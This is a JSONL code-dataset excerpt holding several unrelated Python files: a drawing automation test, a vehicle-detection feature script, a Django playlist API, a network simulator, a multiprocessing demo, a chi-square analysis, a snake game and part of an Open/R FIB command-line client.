bounds:\nMouse.click(5)\nMouse.click(4)\nKeyboard.keydown(\"Shift_L\")\nMouse.click(5)\nMouse.click(4)\nKeyboard.keyup(\"Shift_L\")\n\nprint(\"Drawing a smile.\")\n# At this point, mouse should be at 259,251 on canvas\nKeyboard.hitkey(\"p\")\nfor i in range(5):\n Keyboard.hitkey(\"]\")\n# Left eye: 158,172\nMouse.rclick(158-259, 172-251)\n# Right eye: 354,181\nMouse.rclick(354-158, 181-172)\n# Smile: Arc from 100,328 to 389,328\nMouse.rmove(100-354, 328-181)\ncurx,cury = Mouse.getmousepos()\nsave=(curx, cury)\nMouse.clickhold()\nfor i in range(0,151):\n Mouse.move(curx+i, cury+sqrt(11*i/2))\nfor i in range(151, 300):\n Mouse.move(curx+i, cury+sqrt(11*(300-i)/2))\nMouse.clickunhold()\nfor i in range(5):\n Keyboard.hitkey(\"[\")\n# Text at 171,461\nprint(\"Drawing message.\")\nMouse.move(save[0], save[1])\nKeyboard.hitkey(\"t\")\nMouse.rclick(80, 100)\nKeyboard.typestring(\"Have a nice day.\")\nKeyboard.hitkey(\"Escape\")\nKeyboard.keycombo([\"Alt_L\"], \"l\")\nKeyboard.hitkey(\"w\")\n\nKeyboard.hitkey(\"F11\")\n# Give it time:\nAux.wait(200)\n# Normalize screen bounds:\nMouse.click(5)\nMouse.click(5)\nMouse.click(4)\nMouse.click(4)\nKeyboard.keydown(\"Shift_L\")\nMouse.click(5)\nMouse.click(5)\nMouse.click(4)\nMouse.click(4)\nKeyboard.keyup(\"Shift_L\")\n\nWinman.focuson(\"python unit_tester.py\")\n\ncall([\"notify-send\", \"Test complete.\"])\n","sub_path":"samples/draw_tester.py","file_name":"draw_tester.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"563879745","text":"import glob\nimport pickle\nimport os\nfrom helper_functions import *\nfrom data_structure import *\n\n### TODO: Tweak these parameters and see how the results change.\ncolor_space = 'YCrCb' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\norient = 9 # HOG orientations\npix_per_cell = 8 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = 'ALL' # Can be 0, 1, 2, or \"ALL\"\nspatial_size = (16, 16) # Spatial binning dimensions\nhist_bins = 16 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\ny_start_stop = [None, None] # Min and max in y to search in slide_window()\nhist_range=(0, 256)\n\ndef readData(pickle_file = 'data_images_features.p'):\n\n # files\n cars = glob.glob('./vehicles/GTI_Far/*.png')\n cars += glob.glob('./vehicles/GTI_MiddleClose/*.png')\n cars += glob.glob('./vehicles/GTI_Left/*.png')\n cars += glob.glob('./vehicles/GTI_Right/*.png')\n cars += glob.glob('./vehicles/KITTI_extracted/*.png')\n not_cars = glob.glob('./non-vehicles/Extras/*.png')\n not_cars += glob.glob('./non-vehicles/GTI/*.png')\n\n # get features (shuffled, separate into train/test and normalized features)\n # extract combined color and HOG features\n examples_features = extract_features(cars, cspace=color_space, spatial_size=spatial_size, hist_bins=hist_bins, hist_range=hist_range, orient=orient,\n pix_per_cell=pix_per_cell, cell_per_block=cell_per_block, hog_channel=hog_channel)\n\n not_examples_features = extract_features(not_cars, cspace=color_space, spatial_size=spatial_size, hist_bins=hist_bins, hist_range=hist_range, orient=orient,\n pix_per_cell=pix_per_cell, cell_per_block=cell_per_block, hog_channel=hog_channel)\n\n # Save the data for easy access\n print('Saving data to pickle file...')\n try:\n with open(pickle_file, 'wb') as pfile:\n pickle.dump(\n {\n 'cars': cars,\n 'not_cars': not_cars,\n 'examples_features': examples_features,\n 'not_examples_features': not_examples_features,\n 'color_space': color_space,\n 'orient': orient,\n 'pix_per_cell': pix_per_cell,\n 'cell_per_block': cell_per_block,\n 'hog_channel': hog_channel,\n 'spatial_size': spatial_size,\n 'hist_bins': hist_bins,\n 'spatial_feat': spatial_feat,\n 'hist_feat': hist_feat,\n 'hog_feat': hog_feat,\n 'y_start_stop': y_start_stop,\n 'hist_range': hist_range\n },\n pfile, pickle.HIGHEST_PROTOCOL)\n except Exception as e:\n print('Unable to save data to', pickle_file, ':', e)\n raise\n\n print('Data cached in pickle file.')\n\n return cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range\n\ndef loadData(data_file = 'data_images_features.p'):\n with open(data_file, mode='rb') as f:\n data = pickle.load(f)\n cars = data['cars']\n not_cars = data['not_cars']\n examples_features = data['examples_features']\n not_examples_features = data['not_examples_features']\n color_space = data['color_space']\n orient = data['orient']\n pix_per_cell = data['pix_per_cell']\n cell_per_block = data['cell_per_block']\n hog_channel = data['hog_channel']\n spatial_size = data['spatial_size']\n hist_bins = data['hist_bins']\n spatial_feat = data['spatial_feat']\n hist_feat = data['hist_feat']\n hog_feat = data['hog_feat']\n y_start_stop = data['y_start_stop']\n hist_range = data['hist_range']\n\n return cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range\n\ndef setup(f = './data_images_features.p'):\n # load data\n if (os.path.exists(f)):\n cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range = loadData(f)\n else:\n cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range = readData(f)\n\n features_train, features_test, labels_train, labels_test, X_scaler = norm_shuffle(cars, not_cars, examples_features, not_examples_features)\n\n data = dataStructure(features_train, features_test, labels_train, labels_test, X_scaler, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range)\n\n # train\n # color, spatial: Test Accuracy of SVC = 0.9181, 0.01135 Seconds to predict 10 labels with SVC\n # color, spatial, hog0: Test Accuracy of SVC = 0.9716, 0.01754 Seconds to predict 10 labels with SVC\n # color, spatial, hogAll: Test Accuracy of SVC = 0.9797, 0.0286 Seconds to predict 10 labels with SVC\n clf = train_SVM_LinearSVC(data, True)\n\n # color, spatial: Test Accuracy of DT = 0.9077, 0.01928 Seconds to predict 10 labels with DT\n # color, spatial, hog0: Test Accuracy of DT = 0.9223, 0.03695 Seconds to predict 10 labels with DT\n # color, spatial, hogAll: Test Accuracy of DT = 0.92, 0.05914 Seconds to predict 10 labels with DT\n #clf = train_decision_tree(data, True)\n\n return clf, data\n\nif __name__ == \"__main__\":\n f = data_file = 'data_images_features.p'\n if(os.path.exists(f)):\n cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range = loadData(f)\n else:\n cars, not_cars, examples_features, not_examples_features, color_space, orient, pix_per_cell, cell_per_block, hog_channel, spatial_size, hist_bins, spatial_feat, hist_feat, hog_feat, y_start_stop, hist_range = readData(f)\n\n print('Number of samples of cars: ', len(examples_features))\n print('Number of samples of not cars: ',len(not_examples_features))\n","sub_path":"process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":6528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"624974676","text":"from django.conf.urls import url\nfrom django.utils.text import slugify\nfrom tastypie import resources, fields\nfrom tastypie.authentication import Authentication\nfrom tastypie.authorization import Authorization\nfrom tastypie.exceptions import BadRequest\n\nfrom .adapters import parse_url, InvalidNetworkUrl, NetworkNotSupported\nfrom .models import Playlist, PlaylistItem\nfrom .utils import randhash\n\n\nclass PlaylistResource(resources.ModelResource):\n class Meta:\n authentication = Authentication()\n authorization = Authorization()\n queryset = Playlist.objects.all()\n resource_name = 'playlists'\n list_allowed_methods = ['get', 'post']\n detail_allowed_methods = ['get', 'post', ]\n always_return_data = True\n filtering = {\n \"slug\": resources.ALL,\n \"token\": resources.ALL\n }\n\n def hydrate(self, bundle):\n if not bundle.obj.pk:\n bundle.data[\"id\"] = randhash()\n bundle.data[\"token\"] = randhash(30)\n return bundle\n\n def hydrate_slug(self, bundle):\n bundle.data[\"slug\"] = slugify(bundle.data[\"name\"])\n return bundle\n\n\nclass PlaylistItemResource(resources.ModelResource):\n playlist_id = fields.ForeignKey(PlaylistResource, 'playlist')\n\n class Meta:\n authentication = Authentication()\n authorization = Authorization()\n queryset = PlaylistItem.objects.all()\n list_allowed_methods = ['get', 'post']\n detail_allowed_methods = ['get', 'post', ]\n resource_name = 'playlist-items'\n filtering = {\n \"playlist_id\": resources.ALL_WITH_RELATIONS\n }\n ordering = [\"created_at\"]\n always_return_data = True\n\n def hydrate(self, bundle):\n if not bundle.obj.pk: # creation\n try:\n tid, title, url, network = parse_url(bundle.data[\"url\"])\n except KeyError:\n raise BadRequest(\"Missing url key in data.\")\n except (InvalidNetworkUrl, NetworkNotSupported) as e:\n raise BadRequest(e)\n\n bundle.data[\"network_id\"] = tid\n bundle.data[\"title\"] = title\n bundle.data[\"url\"] = url\n bundle.data[\"network\"] = network\n return bundle\n\n def base_urls(self):\n \"\"\"\n Override the base urls to have the playlist id directly.\n \"\"\"\n return [\n url(\n r\"^playlists/(?P\\w+)/(?P%s)/$\" % self._meta.resource_name,\n self.wrap_view('dispatch_list'),\n name=\"api_dispatch_list\"\n ),\n url(\n r\"^playlists/(?P\\w+)/(?P%s)/(?P\\d+)$\" % self._meta.resource_name,\n self.wrap_view('dispatch_detail'),\n name=\"api_dispatch_detail\"\n )\n ]\n","sub_path":"ourplaylists/app/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"501527331","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom simulator.file_parser import FileParser\nfrom simulator.network.arp_packet import ArpReply, ArpRequest\nfrom simulator.network.echo_packet import EchoReply, EchoRequest\n\n\nclass Simulator:\n def __init__(self, filename):\n parser = FileParser(self, filename)\n self.routers, self.mac_dict = parser.parse_file()\n\n def find_node(self, node_name):\n for router in self.routers:\n for port in router.ports:\n for connected in port.connected:\n if connected.name == node_name:\n return connected\n return None\n\n def connect(self, node_list):\n for i in range(0, len(node_list)-1):\n source = self.find_node(node_list[i])\n destination = self.find_node(node_list[i+1])\n if source is None:\n raise Exception(\"Node {name} not found\".format(name=node_list[i]))\n if destination is None:\n raise Exception(\"Node {name} not found\".format(name=node_list[i+1]))\n source.echo_request(destination.ip_address.ip)\n\n def parse_command(self, command):\n if isinstance(command, EchoRequest):\n if command.ttl == 0:\n exit(1)\n result = command.__str__().replace(\"src_host\", self.mac_dict[command.src_mac])\n if command.dst_mac is not None:\n result = result.__str__().replace(\"dst_host\", self.mac_dict[command.dst_mac])\n print(result)\n\nsim = Simulator(sys.argv[1])\nsim.connect(sys.argv[2:])\n\n\n\n\n\n\n\n","sub_path":"simulator/net_simulator.py","file_name":"net_simulator.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"14510603","text":"import multiprocessing\nfrom multiprocessing import Lock\nimport random\n# Py3\n\n\ndef detect_lost_number(n):\n if n in [4, 6, 15, 16, 23, 42]:\n print(\"%d is valid\" % (n,))\n else:\n print(\"Received %d\" % (n,))\n return n\n\n\ndef generate_random_number():\n number = random.choice(range(100))\n return number\n\n\ndef detector_process(pipe_conn, lock):\n # Receives n and evaluates it\n while True:\n n = pipe_conn.recv()\n detect_lost_number(n)\n lock.release()\n\n\ndef generator_process(pipe_conn, lock):\n while True:\n lock.acquire()\n n = generate_random_number()\n print(\"Sending %d\" % (n, ))\n pipe_conn.send(n)\n\n\ndef main():\n lock = Lock() # syncrhonize processes\n parent_conn, child_conn = multiprocessing.Pipe()\n generator = multiprocessing.Process(target=generator_process,\n args=(child_conn, lock, ))\n detector = multiprocessing.Process(target=detector_process,\n args=(parent_conn, lock, ))\n generator.start()\n detector.start()\n generator.join()\n detector.join()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ipc/detecting_numbers.py","file_name":"detecting_numbers.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"407727522","text":"# Problem Statement\r\n'''\r\nTeleCall uses 4 centers around the globe to process customer order forms. \r\nThey audit a certain % of the customer order forms. Any error in order form renders it defective and has to be reworked before processing. \r\nThe manager wants to check whether the defective % varies by centre. \r\nPlease analyze the data at 5% significance level and help the manager draw appropriate inferences\r\n'''\r\n\r\n# Solution\r\nalpha = 0.05 # From the problem statement\r\n\r\n# Importing necessary libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import stats\r\n\r\n# Load the Costomer+OrderForm.csv as pandas dataframe\r\nCustOrderForm = pd.read_csv('Costomer+OrderForm.csv')\r\n\r\n#View Data\r\nprint(CustOrderForm.head())\r\n\r\n# print(CustOrderForm.describe())\r\n\r\n# Shape of dataframe\r\nprint(CustOrderForm.shape) # 300 rows and 4 columns\r\n\r\nfor columnName, columnData in CustOrderForm.iteritems():\r\n\tprint('\\n'+\"Value counts of column {}\".format(columnName))\r\n\tprint(columnData.value_counts())\r\n\r\n\r\n# Defining our Null, Alternate Hypothesis\r\nHo = 'Defective % across the centers is same'\r\nHa = 'Defective % across the centres is not same'\r\ndef chi_square(df):\r\n\terrorFree = [271, 267, 269, 280]\r\n\tDefective = [29,33, 31, 20]\r\n\ttable = [errorFree, Defective]\r\n\t# print(table)\r\n\r\n\tstat, p, dof, expected = stats.chi2_contingency(table)\r\n\t# print(test)\r\n\tp = round(p, 2)\r\n\r\n\tprint('\\n'+\"Inference from P Value\")\r\n\tif p>alpha:\r\n\t\tprint(\"{p} is greater than {alpha}. We fail to reject Null Hypothesis. {Ho}\".format(p=p, alpha=alpha, Ho=Ho))\r\n\telse:\r\n\t\tprint(\"{p} less than {alpha}. We reject Null Hypothesis. {Ha}\".format(p=p, alpha=alpha, Ha=Ha))\r\n\r\n\t# If p<=alpha, reject Ho. Hence, there is a relation between the two categorical variables\r\n\t# else, retain Ho. Hence, there is no relation between the two categorical variables \r\n\r\n\tHnull = 'There is no relation between the categorical variables'\r\n\tHalt = 'There is a relation between the categorical variables'\r\n\t# Computing the critical values\r\n\tcritical = stats.chi2.ppf(q=1-alpha, df=dof)\r\n\t\r\n\tprint('\\n'+\"Inference from Critical Value\")\r\n\r\n\tif critical>stat:\r\n\t\tprint(\"{critical} is greater than {stat}. We fail to reject Null Hypothesis. {Hnull}\".format(critical=round(critical,2), stat=round(stat, 2), Hnull=Hnull))\r\n\telse:\r\n\t\tprint(\"{critical} less than {stat}. We reject Null Hypothesis. {Halt}\".format(critical=round(critical,2), stat=round(stat, 2), Halt=Halt))\r\n\r\n\t# If critical<=stat, reject Ho. Hence, there is a relation between the two categorical variables\r\n\t# else, retain Ho. Hence, there is no relation between the two categorical variables \r\n\r\nchi_square(CustOrderForm)","sub_path":"Customer+OrderForm.py","file_name":"Customer+OrderForm.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"128176119","text":"#!/usr/bin/env python\r\nfrom queue import Queue\r\nimport pygame\r\nimport sys\r\nimport time\r\nimport random\r\n\r\n\r\ndx = [0,0,-10,10]\r\ndy = [10,-10,0,0]\r\n\r\nfrom pygame.locals import *\r\n\r\nFPS = 50\r\npygame.init()\r\nfpsClock=pygame.time.Clock()\r\n\r\nSCREEN_WIDTH, SCREEN_HEIGHT = 640, 480\r\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT), 0, 32)\r\nsurface = pygame.Surface(screen.get_size())\r\nsurface = surface.convert()\r\nsurface.fill((255,255,255))\r\nclock = pygame.time.Clock()\r\n\r\npygame.key.set_repeat(1, 40)\r\n\r\nGRIDSIZE=10\r\nGRID_WIDTH = SCREEN_WIDTH / GRIDSIZE\r\nGRID_HEIGHT = SCREEN_HEIGHT / GRIDSIZE\r\nUP = (0, -1)\r\nDOWN = (0, 1)\r\nLEFT = (-1, 0)\r\nRIGHT = (1, 0)\r\n \r\nscreen.blit(surface, (0,0))\r\n\r\ndef draw_box(surf, color, pos):\r\n r = pygame.Rect((pos[0], pos[1]), (GRIDSIZE, GRIDSIZE))\r\n pygame.draw.rect(surf, color, r)\r\n\r\n \r\n\r\nclass Snake(object):\r\n def __init__(self):\r\n self.lose()\r\n self.color = (0,0,0)\r\n\r\n def get_head_position(self):\r\n return self.positions[0]\r\n\r\n def lose(self):\r\n self.length = 1\r\n self.positions = [((SCREEN_WIDTH / 2), (SCREEN_HEIGHT / 2))]\r\n self.direction = random.choice([UP, DOWN, LEFT, RIGHT])\r\n\r\n def point(self, pt):\r\n if self.length > 1 and (pt[0] * -1, pt[1] * -1) == self.direction:\r\n return\r\n else:\r\n self.direction = pt\r\n #def buscaApple(self, Apple_position):\r\n \r\n\r\n def move(self):\r\n cur = self.positions[0]\r\n x, y = self.direction\r\n new = (((cur[0]+(x*GRIDSIZE)) % SCREEN_WIDTH), (cur[1]+(y*GRIDSIZE)) % SCREEN_HEIGHT)\r\n if len(self.positions) > 2 and new in self.positions[2:]:\r\n self.lose()\r\n else:\r\n self.positions.insert(0, new)\r\n if len(self.positions) > self.length:\r\n self.positions.pop()\r\n \r\n def draw(self, surf):\r\n for p in self.positions:\r\n draw_box(surf, self.color, p)\r\n\r\nclass Apple(object):\r\n def __init__(self):\r\n self.position = (0,0)\r\n self.color = (255,0,0)\r\n self.randomize()\r\n\r\n def randomize(self):\r\n self.position = (random.randint(0, GRID_WIDTH-1) * GRIDSIZE, random.randint(0, GRID_HEIGHT-1) * GRIDSIZE)\r\n\r\n def draw(self, surf):\r\n draw_box(surf, self.color, self.position)\r\n\r\ndef check_eat(snake, apple):\r\n if snake.get_head_position() == apple.position:\r\n snake.length += 1\r\n apple.randomize()\r\n \r\ndef bfs(snake, apple):\r\n fila = Queue.Queue()\r\n \r\n s1 = snake.positions[0][0]\r\n s2 = snake.positions[0][1]\r\n \r\n fila.put((s1,s2))\r\n \r\n visited = []\r\n pai = []\r\n \r\n for i in range(642):\r\n visited.append([0])\r\n pai.append([0])\r\n for j in range(482):\r\n visited[i].append(0)\r\n pai[i].append(())\r\n \r\n pai[s1][s2] = (-1,-1)\r\n \r\n while(not fila.empty()):\r\n topo = fila.get()\r\n \r\n \r\n v = topo[0]\r\n u = topo[1]\r\n \r\n if(visited[v][u]): continue\r\n \r\n visited[v][u] = 1\r\n \r\n for i in range(4):\r\n xx = v + dx[i]\r\n yy = u + dy[i]\r\n if(xx >= 0 and xx <=640 and yy >= 0 and yy <= 480 and (xx,yy)not in snake.positions and not visited[xx][yy]):\r\n fila.put((xx,yy))\r\n pai[xx][yy] = (v,u)\r\n \r\n \r\n a1 = apple.position[0]\r\n a2 = apple.position[1]\r\n cont = 0\r\n \r\n print(\"A cobra esta em %d %d\" %(s1,s2))\r\n print(\"A maca esta em %d %d\"%(a1,a2))\r\n\r\n while(True):\r\n \r\n if(a1 == -1 and a2 == -1): break\r\n \r\n print(str(a1) + \" \" + str(a2))\r\n aux = pai[a1][a2]\r\n cont += 1\r\n if cont > 100: break\r\n a1 = aux[0]\r\n a2 = aux[1]\r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n snake = Snake()\r\n apple = Apple()\r\n while True:\r\n\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n elif event.type == KEYDOWN:\r\n if event.key == K_UP:\r\n snake.point(UP)\r\n elif event.key == K_DOWN:\r\n snake.point(DOWN)\r\n elif event.key == K_LEFT:\r\n snake.point(LEFT)\r\n elif event.key == K_RIGHT:\r\n snake.point(RIGHT)\r\n\r\n # bfs(snake,apple)\r\n surface.fill((255,255,255))\r\n # snake.buscaApple(apple.position)\r\n \r\n x1 = snake.positions[0][0]/10\r\n y1 = snake.positions[0][1]/10\r\n x2 = apple.position[0]/10\r\n y2 = apple.position[1]/10\r\n \r\n # print(str(x1) + \" \" + str(y1))\r\n # print(str(x2) + \" \" + str(y2))\r\n \r\n xx = x1 - x2\r\n yy = y1 - y2\r\n \r\n print(xx)\r\n print(yy)\r\n \r\n left = False\r\n up = False\r\n \r\n if yy > 0:\r\n up = True\r\n \r\n if xx > 0:\r\n left = True\r\n \r\n \r\n for i in range(abs(int(xx))):\r\n if left:\r\n snake.point(LEFT)\r\n \r\n else:\r\n snake.point(RIGHT)\r\n surface.fill((255,255,255))\r\n snake.move()\r\n check_eat(snake, apple)\r\n snake.draw(surface)\r\n apple.draw(surface)\r\n font = pygame.font.Font(None, 36)\r\n text = font.render(str(snake.length), 1, (10, 10, 10))\r\n textpos = text.get_rect()\r\n textpos.centerx = 20\r\n surface.blit(text, textpos)\r\n screen.blit(surface, (0,0))\r\n\r\n pygame.display.flip()\r\n pygame.display.update()\r\n fpsClock.tick(FPS + snake.length/3)\r\n \r\n for i in range(abs(int(yy))):\r\n if up:\r\n snake.point(UP)\r\n else:\r\n snake.point(DOWN)\r\n surface.fill((255,255,255))\r\n snake.move()\r\n check_eat(snake, apple)\r\n snake.draw(surface)\r\n apple.draw(surface)\r\n font = pygame.font.Font(None, 36)\r\n text = font.render(str(snake.length), 1, (10, 10, 10))\r\n textpos = text.get_rect()\r\n textpos.centerx = 20\r\n surface.blit(text, textpos)\r\n screen.blit(surface, (0,0))\r\n\r\n pygame.display.flip()\r\n pygame.display.update()\r\n fpsClock.tick(FPS + snake.length/3)\r\n \r\n ","sub_path":"Pygame/snakemanhattan.py","file_name":"snakemanhattan.py","file_ext":"py","file_size_in_byte":6513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} diff --git a/4730.jsonl b/4730.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..4c1f90db213edc0039386e294dcbc4895b374f67 --- /dev/null +++ b/4730.jsonl @@ -0,0 +1,2030 @@ +{"seq_id":"69889863813","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\n\nimport click\nimport ipaddr\nimport sys\nimport zmq\n\nfrom openr.clients import fib_client\nfrom openr.clients import decision_client\nfrom openr.cli.utils import utils\nfrom openr.utils import printing\nfrom openr.IpPrefix import ttypes as ip_types\nfrom openr.LinuxPlatform import LinuxFibService\n\n\ndef build_routes(prefixes, nexthops):\n '''\n :param prefixes: List of prefixes in string representation\n :param nexthops: List of nexthops ip addresses in string presentation\n\n :returns: list ip_types.UnicastRoute (structured routes)\n :rtype: list\n '''\n\n prefixes = [utils.ip_str_to_prefix(p) for p in prefixes]\n nhs = []\n for nh_iface in nexthops:\n iface, addr = None, None\n # Nexthop may or may not be link-local. Handle it here well\n if '@' in nh_iface:\n addr, iface = nh_iface.split('@')\n elif '%' in nh_iface:\n addr, iface = nh_iface.split('%')\n else:\n addr = nh_iface\n nexthop = utils.ip_str_to_addr(addr)\n nexthop.ifName = iface\n nhs.append(nexthop)\n return [ip_types.UnicastRoute(dest=p, nexthops=nhs) for p in prefixes]\n\n\ndef get_route_as_dict(routes):\n '''\n Convert a routeDb into a dict representing routes in str format\n\n :param routes: list ip_types.UnicastRoute (structured routes)\n\n :returns: dict of routes (prefix : [nexthops]\n :rtype: dict\n '''\n\n # Thrift object instances do not have hash support\n # Make custom stringified object so we can hash and diff\n # dict of prefixes(str) : nexthops(str)\n routes_dict = {utils.sprint_prefix(route.dest):\n sorted([ip_nexthop_to_str(nh) for nh in route.nexthops])\n for route in routes}\n\n return routes_dict\n\n\ndef routes_difference(lhs, rhs):\n '''\n Get routeDb delta between provided inputs\n\n :param lhs: list ip_types.UnicastRoute (structured routes)\n :param rhs: list ip_types.UnicastRoute (structured routes)\n\n :returns: list ip_types.UnicastRoute (structured routes)\n :rtype: list\n '''\n\n diff = []\n\n # dict of prefixes(str) : nexthops(str)\n _lhs = get_route_as_dict(lhs)\n _rhs = get_route_as_dict(rhs)\n\n diff_prefixes = set(_lhs) - set(_rhs)\n\n for prefix in diff_prefixes:\n diff.extend(build_routes([prefix], _lhs[prefix]))\n\n return diff\n\n\ndef prefixes_with_different_nexthops(lhs, rhs):\n '''\n Get prefixes common to both routeDbs with different nexthops\n\n :param lhs: list ip_types.UnicastRoute (structured routes)\n :param rhs: list ip_types.UnicastRoute (structured routes)\n\n :returns: list str of IpPrefix common to lhs and rhs but\n have different nexthops\n :rtype: list\n '''\n\n prefixes = []\n\n # dict of prefixes(str) : nexthops(str)\n _lhs = get_route_as_dict(lhs)\n _rhs = get_route_as_dict(rhs)\n common_prefixes = set(_lhs) & set(_rhs)\n\n for prefix in common_prefixes:\n if _lhs[prefix] != _rhs[prefix]:\n prefixes.append(prefix)\n\n return prefixes\n\n\ndef validate(routes_a, routes_b, sources, enable_color):\n\n extra_routes_in_a = routes_difference(routes_a, routes_b)\n extra_routes_in_b = routes_difference(routes_b, routes_a)\n diff_prefixes = prefixes_with_different_nexthops(routes_a, routes_b)\n\n # if all good, then return early\n if not extra_routes_in_a and not extra_routes_in_b and not diff_prefixes:\n if enable_color:\n click.echo(click.style('PASS', bg='green', fg='black'))\n else:\n click.echo('PASS')\n print('{} and {} routing table match'.format(*sources))\n return\n\n # Something failed.. report it\n if enable_color:\n click.echo(click.style('FAIL', bg='red', fg='black'))\n else:\n click.echo('FAIL')\n print('{} and {} routing table do not match'.format(*sources))\n if extra_routes_in_a:\n caption = 'Routes in {} but not in {}'.format(*sources)\n print_routes(caption, extra_routes_in_a)\n\n if extra_routes_in_b:\n caption = 'Routes in {} but not in {}'.format(*reversed(sources))\n print_routes(caption, extra_routes_in_b)\n\n if diff_prefixes:\n caption = 'Prefixes have different nexthops in {} and {}'.format(*sources)\n rows = []\n for prefix in diff_prefixes:\n rows.append([prefix])\n print(printing.render_vertical_table(rows, caption=caption))\n\n\ndef ip_nexthop_to_str(nh):\n '''\n Convert ttypes.BinaryAddress to string representation of a nexthop\n '''\n\n return \"{}{}{}\".format(utils.sprint_addr(nh.addr),\n '@' if nh.ifName else '',\n nh.ifName)\n\n\ndef print_routes(caption, routes, prefixes=None):\n\n networks = None\n if prefixes:\n networks = [ipaddr.IPNetwork(p) for p in prefixes]\n\n route_strs = []\n for route in routes:\n dest = utils.sprint_prefix(route.dest)\n if not utils.contain_any_prefix(dest, networks):\n continue\n\n paths_str = '\\n'.join([\"via {}\".format(ip_nexthop_to_str(nh))\n for nh in route.nexthops])\n route_strs.append((dest, paths_str))\n\n print(printing.render_vertical_table(route_strs, caption=caption))\n\n\nclass FibCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Fib client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n\n self.client = fib_client.FibClient(\n cli_opts.zmq_ctx,\n \"tcp://[{}]:{}\".format(cli_opts.host, cli_opts.fib_rep_port),\n cli_opts.timeout,\n cli_opts.proto_factory)\n\n\nclass FibAgentCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Fib agent client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n self.decision_rep_port = cli_opts.decision_rep_port\n try:\n self.client = utils.get_fib_agent_client(\n cli_opts.host,\n cli_opts.fib_agent_port,\n cli_opts.timeout,\n cli_opts.client_id\n )\n except Exception as e:\n print('Failed to get communicate to Fib. {}'.format(e))\n print('Note: Specify correct host with -H/--host option and ' +\n 'make sure that Fib is running on the host or ports ' +\n 'are open on that box for network communication.')\n sys.exit(1)\n\n\nclass FibLinuxAgentCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Linux Fib agent client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n\n try:\n self.client = utils.get_fib_agent_client(\n cli_opts.host,\n cli_opts.fib_agent_port,\n cli_opts.timeout,\n cli_opts.client_id,\n LinuxFibService\n )\n except Exception as e:\n print('Failed to get communicate to Fib. {}'.format(e))\n print('Note: Specify correct host with -H/--host option and ' +\n 'make sure that Fib is running on the host or ports ' +\n 'are open on that box for network communication.')\n sys.exit(1)\n\n\nclass FibRoutesCmd(FibCmd):\n def run(self, prefixes, json):\n route_db = self.client.get_route_db()\n if json:\n route_db_dict = {route_db.thisNodeName: utils.route_db_to_dict(route_db)}\n utils.print_routes_json(route_db_dict, prefixes)\n else:\n utils.print_routes_table(route_db, prefixes)\n\n\nclass FibCountersCmd(FibAgentCmd):\n def run(self):\n try:\n self.print_counters(self.client.getCounters())\n except Exception as e:\n print('Failed to get counter from Fib')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n def print_counters(self, counters):\n ''' print the Fib counters '''\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s Fib counters'.format(host_id)\n\n rows = []\n for key in counters:\n rows.append(['{} : {}'.format(key, counters[key])])\n print(printing.render_horizontal_table(rows, caption=caption, tablefmt='plain'))\n print()\n\n\nclass FibListRoutesCmd(FibAgentCmd):\n def run(self, prefixes):\n try:\n routes = self.client.getRouteTableByClient(self.client.client_id)\n except Exception as e:\n print('Failed to get routes from Fib.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s FIB routes by client {}'.format(host_id,\n self.client.client_id)\n print_routes(caption, routes, 